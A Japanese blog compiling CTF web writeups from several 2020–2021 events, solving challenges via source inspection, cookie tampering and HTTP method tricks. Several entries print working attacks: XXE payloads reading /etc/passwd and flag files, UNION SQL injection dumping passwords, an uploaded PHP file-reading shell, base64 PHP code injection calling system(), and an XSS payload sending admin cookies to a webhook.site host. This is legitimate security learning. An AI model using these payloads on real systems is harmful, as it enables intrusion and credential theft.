kanyewest CTF

勉強したことをメモしています。

Tenable CTF 2021: Writeup

Web

Stay Away Creepy Crawlers

robots.txtファイルをみる。

User-agent: *
Disallow: /admin/
# flag{mr_roboto}

flag: flag{mr_roboto}

Source of All Evil

ソースコードを見るだけ。

<!-- source flag : flag{best_implants_ever} -->

flag : flag{best_implants_ever}

Headers for you inspiration

レスポンスのヘッダにflagがある。

HTTP/1.1 200 OK
Date: Fri, 19 Feb 2021 02:21:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Flag: flag{headersftw}
Vary: Accept-Encoding
Content-Length: 1041
Connection: close
Content-Type: text/html; charset=UTF-8

flag: flag{headersftw}

Ripper Doc

/certified_rippers.phpにおいてauthenticatedというパラメータのCookieをtrueに書き換えてアクセスするとflagがでてくる。

 <ul>
      <b>Rippers:</b><li>&nbsp;&nbsp;<b>Don Sue Mei: dds123@example.com</b></li><li>&nbsp;&nbsp;<b>Lok Mah NoHans: llhsa@example.com</b></li><li>&nbsp;&nbsp;<b>Mr Flagerific: flag{messing_with_cookies}</b></li>

flag: flag{messing_with_cookies}

Show me what you got

/images/にアクセスするとファイルの一覧が見える。

f:id:tekashi:20210219113739p:plain

/images/aljdi3sd.txtの中身をみるとflagがある。

flag: flag{disable_directory_indexes}

Can't find it

存在しないリソースにアクセスしようとするとflagがでてくる

 WTF - Page not found!
btw - flag{404_oh_no} 

flag: flag{404_oh_no}

Send A Letter

f:id:tekashi:20210219123338p:plain

フォームを入力してみると

/send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3Cletter%3E%3Cfrom%3E%3C/from%3E%3Creturn_addr%3E%3C/return_addr%3E%3Cname%3Eunko%3C/name%3E%3Caddr%3Eunko@unko.com%3C/addr%3E%3Cmessage%3Eunko%3C/message%3E%3C/letter%3E

letterパラメータにXMLを指定してGETしているので簡単な問題ならXXEの脆弱性がありそう。

適当にGETしてみると Message to unko appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.というアラートがでてくる。

/tmp/messages_outbound.txtファイルを読めればよさそうなので単純なXXEをためすとflagがよめる。

Payload

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///tmp/messages_outbound.txt"> ]>
<letter><from></from><return_addr></return_addr><name>&ent;</name><addr>unko@unko.com</addr><message>unko</message></letter>

Response

Message to flag{xxe_aww_yeah}
 appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.

flag: flag{xxe_aww_yeah}

Spring MVC 1

ソースコードをみてみるとMainController.javaの中に

   @GetMapping("/main")
        public ModelAndView getMain() {
        ModelAndView modelAndView = new ModelAndView("flag");
                modelAndView.addObject("flag", flags.getFlag("spring_mvc_1"));    // get main
                return modelAndView;
        }

という記述があり、 /mainにアクセスするとflagを手に入れることができる。

flag: flag{flag1_517d74}

Spring MVC 2

   @PostMapping("/main")
        public String postMain(@RequestParam(name="magicWord", required=false, defaultValue="") String magicWord, Model model) {
        if (magicWord.equals("please"))
            model.addAttribute("flag", flags.getFlag("spring_mvc_3"));    // post main param 
        else
                    model.addAttribute("flag", flags.getFlag("spring_mvc_2"));    // post main
                return "flag";
        }

/mainにPOSTすればflagゲットできそう

$ curl -i -X POST http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:31:11 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag2_de3981}</p>
</body>
</html>

flag: flag{flag2_de3981}

Spring MVC 3

さっきのコードをみてみるとmagicWordパラメータにpleaseを与えてPOSTすればよさそう。

$ curl -i -d "magicWord=please" http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:32:36 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag3_0d431e}</p>
</body>
</html>

flag: flag{flag3_0d431e}

Spring MVC 4

   @PostMapping(path = "/main", consumes = "application/json")
    public String postMainJson(Model model) {
                model.addAttribute("flag", flags.getFlag("spring_mvc_4"));    // post main flag json
                return "flag";
        }

HTTPリクエストのヘッダのContent-Typeapplication/jsonを指定すればよさそう。

$ curl -i -X POST -H 'Content-Type: application/json' http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:34:50 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag4_695954}</p>
</body>
</html>

flag: flag{flag4_695954}

Spring MVC 5

   @RequestMapping(path = "/main", method = RequestMethod.OPTIONS)
        public String optionsMain(Model model) {
                model.addAttribute("flag", flags.getFlag("spring_mvc_5"));    // options main
                return "flag";
        }

OPTIONSメソッドでリクエストすればよさそう。

$ curl -i -X OPTIONS http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:35:57 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag5_70102b}</p>
</body>
</html>

flag: flag{flag5_70102b}

Spring MVC 6

   @RequestMapping(path = "/main", method = RequestMethod.GET, headers = "Magic-Word=please")
        public String headersMain(Model model) {
                model.addAttribute("flag", flags.getFlag("spring_mvc_6"));    // headers main
                return "flag";
        }

GETメソッドでMagic-Wordヘッダにpleaseを指定してあげればよさそう。

$ curl -i -H 'Magic-Word: please' http://challenges.ctfd.io:30542/main
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Mon, 22 Feb 2021 10:37:32 GMT

<!DOCTYPE HTML>
<html>
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
    <p >flag{flag6_ca1ddf}</p>
</body>
</html>

Spring MVC 7 (Hiding in Plain Sight)

src/main/resources/templetes/.hello.htmlファイルをみてみると

<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>Tenable CTF: Spring MVC</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <style type="text/css">
    span.hidden { color:white; }   
    </style>
</head>
<body>
    <p th:text="'Hello, ' + ${name} + '!'" />
    <p th:if="${name == 'please'}">
    <span class="hidden" th:text="${@flagService.getFlag('hidden_flag')}" />
    </p>
    <p th:if="${#session.getAttribute('realName') == 'admin'}">
    <span th:text="${#session.getAttribute('sessionFlag')}" />
    </p>
</body>
</html>

namepleaseを指定できれば隠れてるflagを表示させることができそう。

.helloを呼び出してるのは src/main/java/com/tenable/ctf/mvc/MainController.javaっぽいので処理の流れをみてみる

   @GetMapping("/")
    public String index(HttpSession session, Model model, @RequestParam(name="name", required=false, defaultValue="user") String name) {
        model.addAttribute("name", name);
        session.setAttribute("sessionFlag", flags.getFlag("session_flag"));
        return ".hello";
    }

http://challenges.ctfd.io:30542/?name=pleaseにアクセスすると

Hello, please!

flag{hidden_flag_1dbc4} 

flag: flag{hidden_flag_1dbc4}

Spring MVC 8 (Sessionable)

さっきの .hello.htmlの一部をみてみると

   <p th:if="${#session.getAttribute('realName') == 'admin'}">
    <span th:text="${#session.getAttribute('sessionFlag')}" />
    </p>

realNameadminに指定することができれば取得できそう。

MainController.javaをみると

   @GetMapping("/")
    public String index(HttpSession session, Model model, @RequestParam(name="name", required=false, defaultValue="user") String name) {
        model.addAttribute("name", name);
        session.setAttribute("sessionFlag", flags.getFlag("session_flag"));
        return ".hello";
    }

realNameの指定の仕方がよくわからないから検索してみると

src/main/java/com/tenable/ctf/mvc/OtherController.javaをみてみると

   @GetMapping("/other")
    public String index(@RequestParam(name="name", required=false, defaultValue="user") String realName, HttpSession session, Model model) {
        session.setAttribute("realName", realName);
        model.addAttribute("name", realName);
        return "hello";
    }

realNameは/otherで指定できるので http://challenges.ctfd.io:30542/other?name=adminにアクセスしてadminのセッションを取得したあとにhttp://challenges.ctfd.io:30542/にアクセスするとflagを取得することができる。

flag: flag{session_flag_0dac2c}

Union CTF 2021: Writeup

Web

Meet the Union Committee

f:id:tekashi:20210221193630p:plain

ソースコードをみると

<!--Login Broken, submit password as flag on https://ctf.cr0wn.uk/-->

総当りでログインページを探すのかと思ったが 429 Too Many Requests detected: Server is blocking requests と怒られるので違うっぽい

f:id:tekashi:20210221193840p:plain

http://34.105.202.19:1336/?id=2'と適当にアクセスすると

Traceback (most recent call last):
  File "unionflaggenerator.py", line 49, in do_GET
    cursor.execute("SELECT id, name, email FROM users WHERE id=" + params["id"])
sqlite3.OperationalError: unrecognized token: "'"

データベースは sqlite3SQLインジェションがありそう。

http://34.105.202.19:1336/?id=-1 union select 1,2,3-- - f:id:tekashi:20210221193959p:plain

http://34.105.202.19:1336/?id=-1%20union%20select%201,sql,3%20from%20sqlite_master--%20- f:id:tekashi:20210221194041p:plain

http://34.105.202.19:1336/?id=-1%20union%20select%201,group_concat(password),3%20from%20users--%20- f:id:tekashi:20210221194120p:plain

flag: union{uni0n_4ll_s3l3ct_n0t_4_n00b}

darkCON CTF: Writeup

Web

WTF PHP

f:id:tekashi:20210221123507p:plain

<!--
   if(isset($_FILES['fileData'])){
      if($_FILES['fileData']['size'] > 1048576){
         $errors='File size should be less than 1 MB';
      }

      if(empty($errors)==true){
        $uploadedPath = "uploads/".rand().".".explode(".",$_FILES['fileData']['name'])[1];
        move_uploaded_file($_FILES['fileData']['tmp_name'],$uploadedPath);
        echo "File uploaded successfully\n";
        echo '<p><a href='. $uploadedPath .' target="_blank">File</a></p>';
      }else{
         echo $errors;
      }
   }
-->

単純にphpファイルをアップロードしてOSコマンド実行できるのかと思ったら単純なsystem関数やshell_execは使えない。いろいろ試したところfile_get_contents関数は使えるっぽいのでflagの場所さえわかればflagを読み取ることができる。

<?php
echo file_get_contents($_GET['cmd']);
?>

http://wtf-php.darkarmy.xyz/uploads/1050302889.php?cmd=/etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false 

scandir関数を使って/etc/ディレクトリの中にあるファイルを列挙する。

<?php
$scan = scandir('/etc/');
print_r($scan);
?>
Array ( [0] => . [1] => .. [2] => .pwd.lock [3] => adduser.conf [4] => alternatives [5] => apache2 [6] => apt [7] => bash.bashrc [8] => bindresvport.blacklist [9] => ca-certificates [10] => ca-certificates.conf [11] => cron.daily [12] => debconf.conf [13] => debian_version [14] => default [15] => deluser.conf [16] => dpkg [17] => emacs [18] => environment [19] => f1@g.txt [20] => fstab [21] => gai.conf [22] => group [23] => group- [24] => gshadow [25] => gss [26] => host.conf [27] => hostname [28] => hosts [29] => init.d [30] => issue [31] => issue.net [32] => kernel [33] => ld.so.cache [34] => ld.so.conf [35] => ld.so.conf.d [36] => ldap [37] => libaudit.conf [38] => localtime [39] => login.defs [40] => logrotate.d [41] => machine-id [42] => magic [43] => magic.mime [44] => mailcap [45] => mailcap.order [46] => mime.types [47] => mke2fs.conf [48] => motd [49] => mtab [50] => nsswitch.conf [51] => opt [52] => os-release [53] => pam.conf [54] => pam.d [55] => passwd [56] => passwd- [57] => perl [58] => profile [59] => profile.d [60] => rc0.d [61] => rc1.d [62] => rc2.d [63] => rc3.d [64] => rc4.d [65] => rc5.d [66] => rc6.d [67] => rcS.d [68] => resolv.conf [69] => rmt [70] => securetty [71] => security [72] => selinux [73] => shadow [74] => shadow- [75] => shells [76] => skel [77] => ssl [78] => staff-group-for-usr-local [79] => subgid [80] => subuid [81] => sysctl.conf [82] => sysctl.d [83] => systemd [84] => terminfo [85] => timezone [86] => update-motd.d ) 

f1@g.txtファイルがflagっぽい。

http://wtf-php.darkarmy.xyz/uploads/1050302889.php?cmd=/etc/f1@g.txt

darkCON{us1ng_3_y34r_01d_bug_t0_byp4ss_d1s4ble_funct10n} 

flag: darkCON{us1ng_3_y34r_01d_bug_t0_byp4ss_d1s4ble_funct10n}

DiceCTF 2021: Write up

Web

Babier CSP

XSS脆弱性があるのはすぐわかるがふつうにscriptタグで指定してもjavascriptを実行できない。 ResponseヘッダをみてみるとCSPが指定されてることがわかる。

HTTP/1.1 200 OK
Content-Length: 248
Content-Security-Policy: default-src none; script-src 'nonce-LRGWAXOY98Es0zz0QOVmag==';
Content-Type: text/html; charset=utf-8
Date: Sat, 06 Feb 2021 02:07:48 GMT
Etag: W/"f8-z9RAqbkzF3OUjLrc8Hwyb3CplLk"
X-Powered-By: Express
Connection: close

しかし、CSPでnonceが常に同じ値が指定されているのでnonce属性を指定するとbypassできる。

https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=%27LRGWAXOY98Es0zz0QOVmag==%27%20%3Ealert(%22TEST%22);%3C/script%3E

あとはcookieをとってくるXSSのpayloadをadminにおくる。なぜかfetchがつかえなかった

https://babier-csp.dicec.tf/?name=<script nonce='LRGWAXOY98Es0zz0QOVmag==' >window.location=`https://webhook.site/7dfc6e39-1585-4c4e-831d-bac67880d15c/${document.cookie}`;</script>

f:id:tekashi:20210206110906p:plain

secretはgetできたのでindex.jsをみてみると

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/にアクセスできることがわかる。

Hi! You should view source!

<!-- 

I'm glad you made it here, there's a flag!

<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>

If you want more CSP, you should try Adult CSP.

-->

flag: dice{web_1s_a_stat3_0f_grac3_857720}

0xL4ugh CTF: Write up

Web

Cakes Shop

f:id:tekashi:20210116122153p:plain

適当にボタンを押してCookieをみるとUserInfo=GMYDAMBQGA%3D%3D%3D%3D%3D%3Dという値が入ってることがわかる。これがBase32なのでflagに値する1000000をbase32でエンコードすればよさそう。

f:id:tekashi:20210116122521p:plain

base32でエンコードした結果をCookieに格納してpostするとflagがでてくる。

POST /Cakes/index.php HTTP/1.1
Host: 168.61.100.233
User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://168.61.100.233
Connection: close
Referer: http://168.61.100.233/Cakes/index.php
Upgrade-Insecure-Requests: 1
Cookie: UserInfo=GEYDAMBQGAYA====

flag-s=Price+%3A+1000000%24+Click+To+Buy

flag: 0xL4ugh{baSe_32_Cook!es_ArE_FuNny}

Sad_Agent

f:id:tekashi:20210116123233p:plain

f:id:tekashi:20210116123245p:plain

url=ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107でPOSTされていてbase64エンコードされている。

$ echo -n 'ZWNobyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107' | base64
 -d
echo $_SERVER['HTTP_USER_AGENT'];

phpのコードをbase64エンコードすれば任意のコード実行できそう。

$ echo -n 'echo system("cat index.php");' | base64
ZWNobyBzeXN0ZW0oImNhdCBpbmRleC5waHAiKTs=

url=ZWNobyBzeXN0ZW0oImNhdCBpbmRleC5waHAiKTs%3DでPOSTする。

<?php

    if (isset($_POST['submit'])) {
        if ($_SERVER['HTTP_USER_AGENT'] === 'sad') {
            echo "<center><br>Hi mr sad Do you know i'm lonly<br></center>";
        } else {
            echo "<center><br><h4>You are not member in sad world you should be sad</h4></center>";
        }
    }

    //$flag = "0xL4ugh{S@dC0d3r_M3mbe3r_1n_0xL4ugh_&_sad_W0rld}"

?>

EasyLogin

/EasyBlog.phpで投稿ができるようになっているがここにhtmlインジェクションができる脆弱性がある。

name=test&title=test&mail=test%40test.com&gander=male&blogBody=<s>test</s>でPOSTしてみると

f:id:tekashi:20210116150014p:plain

<s>タグが効いてることがわかる。

そしてソースコード

<!--
Hint: Inject An HTML Tag And Give Him The ID flagHunt
-->

と書いてあるのでhtmlタグでidにflagHuntを指定すればいいっぽい。

<a id=flagHunt >をinjectionすると

f:id:tekashi:20210116150118p:plain f:id:tekashi:20210116150127p:plain

flag: 0xL4ugh{N0_Syst3m_1s_S@f3_3v3n_Y0u}

Programming

Hashem

$ cat hash.txt
bd737ce0d884c0dd54adf35fdb794b60:mmal7            
$ hashcat -m 20 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

bd737ce0d884c0dd54adf35fdb794b60:mmal7:laugh

flag: 0xL4ugh{1_laugh}

VULNCON CTF: write up

Web

Maze

$ gobuster dir -u http://maze.noobarmy.org/ -w big.txt -t 50 -q -x php,html,txt
/.htpasswd            (Status: 403) [Size: 282]
/.htaccess.html       (Status: 403) [Size: 282]
/.htpasswd.php        (Status: 403) [Size: 282]
/.htaccess.txt        (Status: 403) [Size: 282]
/.htpasswd.html       (Status: 403) [Size: 282]
/.htaccess            (Status: 403) [Size: 282]
/.htaccess.php        (Status: 403) [Size: 282]
/.htpasswd.txt        (Status: 403) [Size: 282]
/index.php            (Status: 200) [Size: 411]
/projects             (Status: 301) [Size: 325] [--> http://maze.noobarmy.org/projects/]
/server-status        (Status: 403) [Size: 282]

/projectsにアクセスすると下記のようなサイトがある。 f:id:tekashi:20201220150130p:plain

ソースコードをみてみると f:id:tekashi:20201220150143p:plain

コメントアウトされている/justsomerandomfoldername/image-0.pngにアクセスすると f:id:tekashi:20201220150153p:plain QRコードがある。

f:id:tekashi:20201220150204p:plain

image-0.pngの数字の部分を変更することで何枚かQRコードが有る。27 IS MY LUCKY NUMBER!と書かれているので/justsomerandomfoldername/image-27.pngQRコードを読み取る。

f:id:tekashi:20201220150255p:plain

13と書かれているのでimage-13.pngQRコードを読み取っても特になにもなかったが画像のexif情報をみてみると

$ exiftool image-13.png
ExifTool Version Number         : 12.00
File Name                       : image-13.png
Directory                       : .
File Size                       : 946 bytes
File Modification Date/Time     : 2020:12:06 20:41:46+09:00
File Access Date/Time           : 2020:12:20 14:47:08+09:00
File Inode Change Date/Time     : 2020:12:20 14:47:06+09:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 290
Image Height                    : 290
Bit Depth                       : 1
Color Type                      : Grayscale
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
XMP Toolkit                     : Image::ExifTool 12.04
Creator                         : aWh5YXBiYXtqQCRfN3UxJF8zaTNhX0BfajNvX3B1QHl5M2F0Mz99
Image Size                      : 290x290
Megapixels                      : 0.084
$ echo -n 'aWh5YXBiYXtqQCRfN3UxJF8zaTNhX0BfajNvX3B1QHl5M2F0Mz997' | base64 -d
ihyapba{j@$_7u1$_3i3a_@_j3o_pu@yy3at3?}

f:id:tekashi:20201220150230p:plain

flag: vulncon{w@$_7h1$_3v3n_@_w3b_ch@ll3ng3?}

Mr. Hekker

contact.phpに対してPOSTするときにパラメータが

<?xml version="1.0" encoding="UTF-8"?><contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>undefined</message></contact>

xmlなので簡単なXXEを試してみると

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>&ent;</message></contact>
HTTP/1.1 200 OK
Date: Sun, 20 Dec 2020 07:19:36 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Vary: Accept-Encoding
Content-Length: 1000
Connection: close
Content-Type: text/html; charset=UTF-8

Your msg has been receipt as root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
hekker:x:1000:1000::/home/hekker/:/bin/bash

上記のようにLFIに成功することがわかる。XXEでRCEできるのかと思って調べたが特に見つからなかったのでflagの場所を推測してincludeするしかない。

いろいろ探した結果/home/hekker/flag.txtにあった。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/hekker/flag.txt"> ]>
<contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>&ent;</message></contact>
HTTP/1.1 200 OK
Date: Sun, 20 Dec 2020 07:24:04 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8

Your msg has been receipt as vulncon{MR_H4kk3r_w1th_XXE_(+_+)}

flag: vulncon{MR_H4kk3r_w1th_XXE_(+_+)}

X-MAS CTF 2020: Write up

Web

Santa's consolation

ソースコード

console.log("%c██████╗░██╗░░░░░██╗░░░██╗██╗░░░██╗██╗░░██╗\n\██╔══██╗██║░░░░░██║░░░██║██║░░░██║██║░██╔╝\n██████╦╝██║░░░░░██║░░░██║██║░░░██║█████═╝░\n██╔══██╗██║░░░░░██║░░░██║██║░░░██║██╔═██╗░\n██████╦╝███████╗╚██████╔╝╚██████╔╝██║░╚██╗\n╚═════╝░╚══════╝░╚═════╝░░╚═════╝░╚═╝░░╚═╝\n", "color: #5cdb95");
console.log("🐢 Javascript Challenge 🐢");
console.log("Call win(<string>) with the correct parameter to get the flag");
console.log("And don't forget to subscribe to our newsletter :D");

function check(s) {
    const k = "MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";
    const k1 = atob(k).split('').reverse().join('');
    return bobify(s) === k1;
}

function bobify(s) {
    if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z')) return "[REDACTED]";
    const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]');
    const s2 = encodeURI(s1).split('').map(c => c.charCodeAt(0)).join('|');
    const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2);
    return s3;
}

function win(x) {
    return check(x) ? "X-MAS{" + x + "}" : "[REDACTED]";
}

bobify関数でいろいろ置換されたりエンコードされたりしているので逆に処理していけばいい。

$ echo -n 'MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDk3fDM3fDUzfDY2fDM3fDUzfDY4fDExMHwzN3w1M3w2NnwzN3w1M3w2OHwxMTZ8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDExOXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEwNHwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHwxMjF8Mzd8NTN8NjZ8Mzd8NTN8Njh8NDh8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE3fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMTR8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTl8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTA1fDM3fDUzfDY2fDM3fDUzfDY4fDExN3wzN3w1M3w2NnwzN3w1M3w2OHwxMTB8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDEwMnwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE0fDM3fDUzfDY2fDM3fDUzfDY4fDEwNXwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE2' | base64 -d
